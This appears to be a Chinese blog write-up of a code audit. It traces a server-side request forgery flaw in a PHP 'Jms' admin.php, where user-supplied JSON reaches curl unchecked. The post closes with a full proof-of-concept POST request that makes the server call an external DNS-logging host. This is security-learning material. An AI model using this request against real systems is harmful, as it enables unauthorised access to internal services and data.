在先知上看见一人发的文章.. 一看ID这么熟悉 原来是一个群友

唉 自己审计这么垃圾 几百年没搞过了 然后玩玩吧

一打开源码 我吐了

ctrl+alt+l格式化下代码 顺眼多了

然后Seay走了一波 ,发现admin.php下的交互点比较大 就打开看下

line 28-44

这可还行 一点进去curl_init,具体看下这个Cur方法吧

function Cur($u)
{
$n = curl_init();
curl_setopt($n, CURLOPT_TIMEOUT, 30);
curl_setopt($n, CURLOPT_RETURNTRANSFER, TRUE);
if (substr($u, 0, 8) == "https://") {
curl_setopt($n, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($n, CURLOPT_SSL_VERIFYHOST, FALSE);
}
curl_setopt($n, CURLOPT_URL, $u);
curl_setopt($n, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:134.175.' . rand(80, 255) . '.' . rand(80, 255), 'CLIENT-IP:192.168.0.2'));
curl_setopt($n, CURLOPT_REFERER, "https://pjjx.1688.com/");
curl_setopt($n, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400");
$s = curl_exec($n);
curl_close($n);
return $s;
}

我们把侧重点放在CURLOPT_URL就可以,可以看见后面$u 可控 就是传递过来的参数

全局搜一波吧



一共俩

在变量m

去追下变量m

$m = file_get_contents("php://input");

Line 46

我这次get到的php新知识就是这个

我一开始想file_get_contents不是读取吗, php://input不是php的伪协议吗 这是个嘛玩意 然后就去搜了下

https://blog.csdn.net/huangjingwen1129/article/details/82858573

也就是POST请求, Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时,会将变量以关联数组形式传入当前脚本

然后下面第50行又会去调用Dec方法 追进去瞅一眼

function Dec($s, $c = false)
{
$s = json_decode($s, true);
if (json_last_error()) die('{"msg":"Request JSON Parse Error."}');
return $c ? Rpl($s) : $s;
}

没啥..

然后这个点是一个switch case结构

act==sbu

PS: 有一个sid参数的值我不知道咋来的 所以我就直接通过后台 用了一个功能 改了下他的请求包就可以

加入Bu 后面跟url

最终POC

POST /www.test.com/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/www.test.com/admin.php
Cookie: Jms_FromID=; Jms_BackURL=http%253A//127.0.0.1/www.test.com/item.php%253Fid%253D7 {"act":"sbu","uid":"1","sid":"Wf0001ELmbuaf6h3","Bu":"http://dnslog.cn"}

漏洞证明

Jms - SSRF - 代码审计的更多相关文章

  1. 记一次简单的PHP代码审计(SSRF案例)

    题目链接: http://oj.momomoxiaoxi.com:9090/ 用dirsearch对网址进行扫描,发现robots.txt 命令行: python3 dirsearch.py -u & ...

  2. java代码审计中的一些常见漏洞及其特征函数

    文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...

  3. ref:JAVA代码审计的一些Tips(附脚本)

    ref:https://xz.aliyun.com/t/1633/ JAVA代码审计的一些Tips(附脚本) 概述 本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JA ...

  4. 熊海cms v1.0 完全代码审计

    很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...

  5. Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)

    1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...

  6. Java Web代码审计流程与漏洞函数

    常见框架与组合 常见框架 Struts2 SpringMVC Spring Boot 框架执行流程 View层:视图层 Controller层:表现层 Service层:业务层 Dom层:持久层 常见 ...

  7. 代码审计变成CTF

    0x01 代码审计中的信息收集 一个cms代码量确实不少,通读代码耗时长,效果也不一定好.而一个功能点如果之前出过漏洞,特别是多次出现漏洞的地方,证明开发者对这个漏洞的理解不充分,很容易再次绕过补丁. ...

  8. 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件

    0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

  9. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

随机推荐

  1. 使用远程Docker进行集成测试

    目录 需求背景 使用docker进行环境搭建 以中心化的docker server改进集成测试 Docker Server远程链接配置 Testcontainers 框架 Testcontainers ...

  2. Qt之先用了再说系列-串口通讯(单串口单线程)

    QT 串口通讯(单串口单线程) 串口通讯在我们写程序的时候或多或少会用到,借此在这记录一下QT是如何使用串口来通讯的.本次先侃侃在单线程下使用1个串口来通讯过程.好了,废话不多说,直接看步骤,我们的宗 ...

  3. SpringCloud:Zuul路由配置超时问题

    测试访问时长 修改下业务类,增加sleep休眠时长,以此查看Zuul的熔断 @GetMapping("/test1") public Object test1() { try { ...

  4. 重启outlook的bat脚本

    @echo off :openie echo -------------closeing outlook---------- taskkill /f /t /im OUTLOOK.exe echo - ...

  5. XCTF_Android 黑客精神

    一.概述 这题感觉要懂一些开发的东西才能弄,正向和逆向是永远离不开的 二.先用jeb打开,找到AndroidMainfest这个文件,找到启动的主活动是啥 虽然一般也是就是MainActiivity, ...

  6. QT从入门到入土(一)——Qt5.14.2安装教程和VS2019环境配置

    引言 24岁的某天,承载着周围人的关心,一路南下.天晴心静,听着斑马,不免对未来有些彷徨.但是呢,人生总要走陌生的路,看陌生的风景,所幸可以听着不变的歌,关心自己的人就那么多.就像是对庸常生活的一次越 ...

  7. C语言:数据类型转换 自动转换 强制转换

    数据类型转换就是将数据(变量.数值.表达式的结果等)从一种类型转换为另一种类型. 自动类型转换 自动类型转换就是编译器默默地.隐式地.偷偷地进行的数据类型转换,这种转换不需要程序员干预,会自动发生.1 ...

  8. 传统.NET 4.x应用容器化体验(3)

    上一篇我们自己通过编写Dockerfile来编译部署一个ASP.NET MVC应用程序到Windows Container,这一篇我们来试着将.NET 4.x的镜像推送到harbor私有镜像仓库. 1 ...

  9. 家庭账本开发day03

    今天在编写form表单提交时遇到很多问题,在向servlet提交请求时找不到资源, 在网上查找学习了相关的信息,找到原因,添加注解或者配置xml文件的相关映射 解决问题.成功完成了账单添加的功能.

  10. dataX windows10安装

    按照视频课程,从Github上下载文件:https://github.com/alibaba/DataX 然后将下载的压缩包解压即可,不过需要的前提Python环境是要求python2,于是在pyth ...